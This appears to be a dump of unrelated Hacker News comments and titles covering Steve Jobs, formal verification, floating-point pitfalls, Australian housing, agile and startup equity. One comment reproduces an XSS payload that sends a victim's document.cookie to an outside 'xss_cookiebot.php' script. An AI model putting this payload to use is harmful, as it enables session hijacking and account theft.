skysight-inc/HackerNews huggingface dataset:
> His ego destroyed Apple and got him ousted. When reality humbled him, he returned and rebuilt it for the 21st century.

I still don't see that.

> NeXT was part of rebuilding Apple. That's how he got back to Apple...

You do realize that he founded NeXT as he was being thrown out of Apple don't you?

> Steve was only a benevolent patron to Pixar. He didn't micromanage them or take credit for any of the movies being 'his visions'.

No, but he did understand what it could become and he did become it's patron. That's pretty significant. He's also the one who decided to refocus Pixar from its original business, hardware, to what it is today, a studio, CGI and animation company. And he managed most of the relations with Disney (including the Eisner fallout).

Credit for Pixar's work goes to Lasseter and his team, but credit for Pixar existing at all, let alone going from a $5m Lucas Arts team to a $8b Disney subsidiary in 20 years can hardly go to anybody but Jobs.
As someone who writes similar types of post (though usually a bit longer ;-)) I share your pain.
I think that formal methods do matter, and can be realistic. We have a culture problem, perhaps inherent to the ease with which programs of unknown correctness may be written and executed, that usually we just don't care. How familiar is this cycle? iterate{think => type => execute => check}? Being rushed into the "protoduction" dev model doesn't help a lot either.

I had a professor who was apparently a student of E.W. Djikstra, and many of the points in this essay were essential to his courses. For example, exam questions weren't just "write code to do X", but "write code to do X and prove it", with failure to prove it resulting in a big fat 0. Of course, we were required to use weakest-precondition verification, from the bottom to the top. Not as tedious as it sounds, once you've gone through it once or twice, and I think the point wasn't to teach something we would use day-to-day, but to teach us that verifying programs by hand was not only possible but tractable. It seems like the TDD movement kind of makes the same point, though perhaps less formally.

Another professor introduced a variant of this technique developed for verifying the critical points of parallel and multi-threaded computation, which while far more tedious has been vastly more useful in my career as a model for thinking about concurrent programs [not bulletproof, of course, because runtimes and hardware sometimes do unexpected but perfectly valid things with our programs].

Most algorithms, at their core, have formal descriptions short enough to prove by hand in a matter of minutes. For those parts, I think it's realistic to use formal methods. All the other cruft we tack on to our programs to make then flexible, perform in a variety of contexts, handle varying data types, error checking, etc.; I think those fall in the realm of what you describe as "realistic programs", and which amounts to a daunting heap of code to verify by hand. Luckily, we can again follow his advice and use computation as an alternative, and verify by hand a program which can verify some or most of our work for us -- that seems to be what a lot of static analysis is all about.

I don't know. Do you ever run into situations day to day where you find yourself verifying your code by hand? That's usually what happens when I get deep into finding an error.
This is a critically important message. I tell people this all the time when they ask "how I do it" -- well, the answer is that I just do it. While they are watching TV and faffing around, I'm trying things and building things. You do it by just fucking doing it already.
I'd start by talking to the folks at Redgate. I imagine they can introduce you to everybody else.
> However, the Steve running the show today is not the same as the Steve that got kicked out.

I really don't think that's true.

> He certainly would not have been able to execute grand plans like the iPod, iPhone, and iPad without having hundreds of brilliant people working with him and being proud of their work.

Most of the Macintosh team did seem proud enough under him (so much so that some followed him to NeXT). He probably learned a lots of stuff inbetween, but the biggest difference is the people he found to work around him. He doesn't seem to have significantly changed himself,
Why on earth not? Also, do you have a blog to show for that you wrote in your non-doing time?
It's not the "standard" but sidebars are common enough for it to work. Back in the 1998-2002 area, right hand navigation bars had a spurt of popularity because of usability findings in relation to the ease of moving between the scrollbar and the items. With the advent of scroll wheels, though, this hack became less significant and left handed navigation began to rule once again.
No I know, I did plan to do something similar. I think talking to some people would be a good first step, just need to find some. Thanks
I find careful measurement of activities is extremely helpful as a starting point for life change. After a certain point, you can leave the measurement behind, or at least back off the intensity. This is fortunate, since keeping such careful track of your life can be frustrating.

For example, when I wanted to get in better shape, I started calorie counting (in addition to exercising more, etc). I entered everything I ate into a website. This helped me become aware of what I was consuming- which can be quite deceiving.

Once I got a better handle on what foods were "dangerous" (not just bad for me, but which I ate in large quantities), I stopped calorie counting, but I'm maintaining my shape. I may go back to calorie counting every once in a while to see if anything's changed, but just that initial investment of time paid off quite well.
I actually know a startup with a team of about 9 people who are doing just fine with agile (since the beginning).

Could you elaborate with some more substantial criticism?
Imagine being the developer who wrote the line of code (who didn't understanding floating point variables). Or the QA tester who didn't spot it, or didn't decide it was worth reporting.

Aside from being a pacifist, this is why a number of engineer friends have stepped out of building defense systems (including missile guidance systems) and into more civilian engineering because the stress and moral burden is just too great.
Not entirely true. After colliding with a stationary car the previously moving car will retain some of its velocity. That will then dissipate over time and be less violent.

So to some extent - when simplified, to a first approximation - you really can switch frames of reference like that.
It'd probably have to be Qantas (or Virgin Blue) since I wouldn't be able to work in the US but it is a good idea. I'm trying to make sure I don't get complacent as well :P
>But mostly I was thinking on the playing side: I don't think any of the current GGP approaches can even come close to playing strategy-type video games, because they don't typically have any real notion of, as you mention, similarity between situations, or a decomposition into hierarchical or interrelated concerns.

The problem is really all about game size, not generality or lack of "strategy". UCT is general (indeed, it converges to minimax in the limit), but with a large branching factor and a long game time it can be intractable to get a statistically significant number of samples. I guess you can think about strategy as a heuristic that drastically lowers the computational cost of planning...
Same in software - an application that fills a business purpose but has bugs or "errors" is correct.

An error free perfect piece of software hat doesn't is useless
How do you read the actual traffic numbers from that chart?
Actually, I'd counter that.

Getting out of there will make you way more available for opportunities. And almost any opportunity is better than what you're doing now, so I would get out in a hurry.
First Beowulf Cluster in Space
Title is hardly a surprise. What did you expect? Will we next learn he never implemented a single NS_* class?
Dude. I am not trying to fight you with words.

NeXT became Steve's parachute. He had a feeling, the board was getting fed up with his ego.

Pixar needed a leader, Lucas got divorced. Steve saved the ship...

Steve pulled a Buddha. Had everything in his 20's. Lost it all before 30. Rebuilt his life and his work to be a part of human history when he humbled himself.

When people look back centuries from now, Steve will be remembered as a hero, not a villain.
If you choose to solve it with artificial intelligence, then yes.
This did meet the requirements for what it would be used for.

Intended to be based in Germany in the 60s facing the Russians it wouldn't be powered up for 600 hours, because in 60 hours you would have been overrun.
Lol, I call this site "Sort Porn"!
Not to mention the transmitter power you would need if they were 25,000miles away in GSO rather than 90mi away in LEO
vacations before launch and college loans..IMMEDIATELY! WTF is wrong with you??!

No offense but you need to quit immediately..
What is your problem with the guy? What evil has he done to you or to Earth?
Also, it's not a property bubble when there are less houses than people who want them. Because the population growth rate in Australia is (comparatively) high for a developed country we have high intrinsic demand for new housing.

It is quite simply a myth that there is a housing shortage in Australia.

This idea has been conceived and perpetuated by vested interests in the property market in Australia, particularly the Housing Industry Association (HIA). A recent article does a good job of exposing this:"Housing industry's missing persons report pure fiction" http://is.gd/eXZT5

It's not the first time this kind of tactic has been applied either: in the lead up to the property crashes of the US and UK the press ran numerous stories about housing shortages. These quickly turned to stories of housing gluts after the bubble popped.

Look to the Australian census data of 2001 and 2006 and you'll see we've been building at an increased rate, and have an increasing number of empty houses on the books (around 800 000 in 2006).

A contrarian site gathers a bunch of this information here: http://bubblepedia.net.au/tiki-index.php?page=HousingShortag...
Charles Darwin Writes a Letter to Stephen Hawking
Nope.

It's not really using DOS, just the Batch interpreter of Windows shell (cmd.exe in NT). Some core source files are written in C# and VB, and there are referneces to VS 2003 in an XML config file.

http://dod.codeplex.com/SourceControl/changeset/view/9785ed4...

Furthermore, AFAIK, DOSBox has no TCP/IP capabilities, but it emulates IPX and null/modem connections on top of the host's network stack.

Edit, from the tutorial:

/snip/ All the files you need for a modern MVC
application. Built on batch files.

IIS is a little hard to control from the console,
so you'll need to open IIS manager and register
your site manually. Read the sidebar about how
to do that.
(If we were using apache, tomcat or webrick we'd
be able to do this from the command-line with
ease. If I took this project more seriously, I
would have written a custom DOS-based web-server.
But then I guess I would've been an even more
depraved individual, so for now we're stuck with
IIS.)

http://dod.codeplex.com/wikipage?title=GettingStarted
Definitely not the feel-good movie of the summer, that's for sure.
Israel vs the United States and Iran
The web vs. app question is a hot topic at the moment. Our startup is building a product that resembles an app-like experience in the browser as much as possible. So, we will definitely take advantage of the Chrome App Store when it launches.

But, we realize the need to make the Chrome app significantly better in performance and feature set vs. the accessible URL of our website, especially if we plan on charging for the app. That's the biggest question in my mind -- how can we best differentiate between making the product available freely to anyone on any browser at anytime with a simple URL vs. submitting it to the App Store? We can remove the product from our website and only make it accesible in the store, but that's a huge risk and shift in responsibility to Google and their Chrome marketing team to generate awareness and use of their store.
Test with Ruby not Cucumber
This Developer's Life Podcast: Programmer Fame and Notoriety
There's an in-joke amongst embedded systems programmers, which is that if you need floating point you don't fully grok the problem (yet).

Floats are subtle, they can have exactly the kind of nasty little side effects that you overlook during testing and that bite you in a terrible way once you hit production.

Fixed point is the way to go to implement stuff like this, floating point is asking for trouble. Of course floating point is more convenient, but most people that use it don't really understand what's going on under the hood, and most of the time they don't need to.

But bank balances, clock values, GPS coordinates and other values of some importance are best represented in fixed point format. You'll have to do a bit more work when manipulating them but that pays off in reliability.
To be fair, he didn't lose it all--he was still rich and famous, rich enough to buy Pixar and famous enough to get millions of dollars invested into NeXT.
How To... Cram a 24-Core Linux Cluster in $30 IKEA Drawers
The beauty of DoD is that they implemented it.

(Although it's not really DOS, see my other comment on this page.)
>Use of multiple processes or threads is prohibited.

How about mimicking them? Can one perform in-process "context switches" to do the same thing?

If no: where do you draw the line? Must each second's decisions be deterministic from the board state?

If yes: what's the difference? Ease of programming seems a poor metric, and you could just nab something that's already written that does this for you, resulting in nothing but increased compilation times.
In 3D graphics you need to do a lot of work beforehand on range checking your input data to make sure you don't end up with runtime overflows, which usually exhibit in visually very disturbing ways, such as planes that suddenly become transparent, pixels that flip from black to white or vv and so on.

It's very easy to destroy the illusion of a three dimensional graphic on a screen, these are very effective ways of doing so.
> After all, it's going to be a $10 billion company one day, and that 0.25% is going to make you a millionaire many times over, no?

Sage wisdom, here. It's easy to seem generous when you're dreaming about carving off a tiny sliver from an enormous pie. Startups aren't an adventure, or a calling, or a mission from god - they're a business. And the fastest way to shed the BS and get down to reality is to insist on equity, in writing.
How to read a patent in 60 seconds
When simplified, yes, but if you start talking about projectiles then you are explicitly not simplifying things, and should also account for the effect of the ground because it's probably a larger concern than projectiles in a collision like this.
But it makes for more defense spending.

If you catch something on the launchpad that's a relatively low expense, to catch it i in flight you need to actively defend each and every possible target and a lot of sexy hardware to do so.
For what reasons would you want to stop him from doing this?
I was just imagining if we'd all settled on using shar files how big the virus/worm problem would be on Linux today ...

... Then I thought that effectively that's what Windows does (using *.exe for installers). No wonder they've got a problem.
The Best Premium Tutorials from the New Tuts + Marketplace and Giveaway
Our friends from Envato launched a new site last week completing their massive marketplace network with a tutorial outlet.
> Actually wasn't the it called mining 'super' tax becuase it was to fund superannuation?

Hah! No. It was a "super profits" tax because it did not kick in unless a project was making a rate of return above 5 or 6 percent or so. So it only taxes "bonanza" profits and has no effect on companies that are making a "normal" rate of return.

As for superannuation - there was some sleight of hand as well. The increased super was to be paid by companies. This was then to be partially (but not fully) offset by dropping the company tax rate, which in turn was funded by the super profits tax. So yes, they were linked, but not nearly as directly as they wanted you to believe.
Well, I'm saying that's what motivates some directors to rip into work; I admit it's not a common attitude. But I have seen the "How can you think this is acceptable?" attitude and it is hard to take for a lot of people.
Look into so called Virtual Airlines. Basically airlines without an Air Operator's Certificate that handles all the sales and logistics of running an airline, but pays a third party to actually own, maintain and fly the airplanes. The big advantage being is you don't need as much up front capital and don't have to deal with the problems of actually owning or leasing hardware.

This is not too uncommon among some smaller local airlines, but I don't think anyone has tried it for long range passenger flights.
I've been promised stock options that never materialized too. If it ain't on paper it don't exist, and if your boss is truly honest he won't pretend that it does.
If you infringe the baby, you'll infringe the baby momma too.
You are kidding me right? If we change this, then each time there is a bug in your program your manager gets to blame you, your clients won't pay you until fix what you have done wrong, you might be open to lawsuits, etc, etc.

Yeah it might be a lot more honest - but it would be very impractical.
Successful Startups Aren't Built By Burnt-out Founders
Apples in Stereo Frontman Invents Mind-Controlled Theremin
Well, see, over here "getting rich" means earning millions in a few years through sheer entepreneurial perspiration. Over there, it means eliminating debt and reducing expenses, building up a nice, six figure retirement account over a lifetime of frugality and careful saving. Get Rich Slowly.

Which the author is doing and helping others do through his blog. I think it's definitely a doing.
More information about the errors in the (fixed point) math on the patriot:
http://www.ima.umn.edu/~arnold/disasters/patriot.html
That is a nice quote, but as a biochemist I'm confronted with such ratios all the time for things like concentrations and binding constants. Like 10^-12 (picomolar) versus 10^-3 (millimolar).

I'm pretty sure that's why the metric system and SI units were invented...
I'm confused. The e-book costs $10, and it's prominently stated. Are you referring to something else on the site? Let me know and I'll fix it.
I wonder how many teachers they could have hired to improve their student to teacher ratios with that money? I know of course that it was a bond that bought the new schools but with the money they are spending on the bond payments they could have instead hired more teachers.
It's a classical cookie stealing attack by injecting an image tag into a twitter search api call.

<script>
document.location="http://dev.twitter.com/search?query==</script>
<script>
document.write(<img src="http://skeptikal.org/exploits/twitter/xss_cookiebot.php?" + document.cookie + ">");
</script>

Once the cookiebot has the session cookie it tweets. That stuff is done server-side in the xss_cookiebot.php PHP script.
Define "rarer"? There's an infinite number of integers that can be written in consecutive powers of 2. So in some sense, there's exactly as many of those as there are of integers!

For fun, see if you can write a bijection between the integers and the "consecutive ones". Hint: realize that a "consecutive power of 2" number can be split into two numbers: a number of consecutive ones greater than zero followed by a number of consecutive zeroes (you can have zero of these), then think about diagonalization.

That said, I suppose you could define some sort of "density" of numbers with consecutive ones in a fixed-size range. Say that you want to know how many of them are between 0 and 2^x (i.e. how many such numbers are x bits long). Well, you get sum(1..x-1) different consecutive numbers (for 2^8, there are 7 ways to have a pair of ones, 6 ways to have 3 consecutive ones, as you can see by imagining sliding the pair or triplet: 11100000, 01110000, 00111000, ... 00000111) and there are 2^x possibilities total.

Add x-1 + x-2 + ... + 2 + 1 to itself backwards and you get:
(x-1 + 1) + (x-2 + 2) + ... where there are x-1 terms in the series, which allows us to rewrite it as x * (x-1). This is double the original sum (because we added it to itself), so divide it by two and we've shown that sum(1..x-1) == (x^2 - x)/2. Now, divide that by 2^x and simplify to get D(x) = (x^2 - x)/2^(x+1) for the fraction of x-bit numbers that are consecutive powers of two.

It doesn't take much analysis to see that it is decreasing when x grows after increasing initially:

Density of consecutive ones in 1-bit numbers = 0
Density of consecutive ones in 2-bit numbers = 0.25
Density of consecutive ones in 3-bit numbers = 0.375
Density of consecutive ones in 4-bit numbers = 0.375
Density of consecutive ones in 5-bit numbers = 0.3125
Density of consecutive ones in 6-bit numbers = 0.234375
Density of consecutive ones in 7-bit numbers = 0.1640625
Density of consecutive ones in 8-bit numbers = 0.109375

In short, "much rarer" depends on how big a number we're dealing with and the measure won't work for infinitely large numbers, because there are a countably infinite number of consecutive-power numbers, so they can be put into 1-to-1 correspondence with the integers, even though our D(x) decreases.

TL;DR: Math is crazy and relies on precise definitions. Be wary of intuition.
Http://www.filehippo.com/download_ccleaner
Self-esteem is one of the most useless abstractions I know of. Its currency is tied together with this nonsensical emphasis on "feeling good about yourself" prevalent today. I really would like to know how popular psychology concretely became so enamored with ceaseless optimism as a guiding principle in life. I'm dead serious about this because it's clearly not scientifically discovered nor is it historically enduring (Aristotle lists such optimism as dangerous and medieval Christianity would've listed it as pride). Moreover it presupposes consciousness has some sort of exhaustive mastery over the psyche, such that it can just pull itself up from the bootstraps were it wished. This leads to a lot of bad decisions, dangerous decisions, being made and I genuinely think it would be a contribution to our well-being when we finally throw it out the window.
Here are the numbers from when he quit his day job and went to a full time:

http://www.getrichslowly.org/blog/2007/11/11/quitting-the-da...
I can't speak for the others, but the Vancouver logo was representative of a totem as a fair bit of the brand of the Vancouver Olympics was celebrating various Canadian native communities.

I think the real upset is that the others are simple, but professional. IMO this one looks more like a bunch of cut out pieces of construction paper or a little more like grunge/graffiti. Maybe I'm missing a deeper meaning to the logo, but I think that a lot of people are if there is one.
I was a team lead/architect for a project, we built an online booking engine and fare quoting system for an Airline. They pull in ~$1.5bn a year through this channel. We delivered under budget, with almost zero known issues, 1 day late (due to some internal infrastructure).

ALL DONE USING AN AGILE METHOD!

Today that original team of 6 is now a department of 70. They still use Agile/Lean methods (FDD & KanBan), continuously deliver successful projects and win numerous awards etc...

Agile works.
The Future of Bookstores: Lead-Gen, not Dead Trees
The Market for Melons (extensive flat-usage-rate analysis) [pdf]
It was representing an inukshuk - native eskimo culture that is about as far from Vancouver as Mexio is.
Culturally it would have made as much sense to have an easer island statue.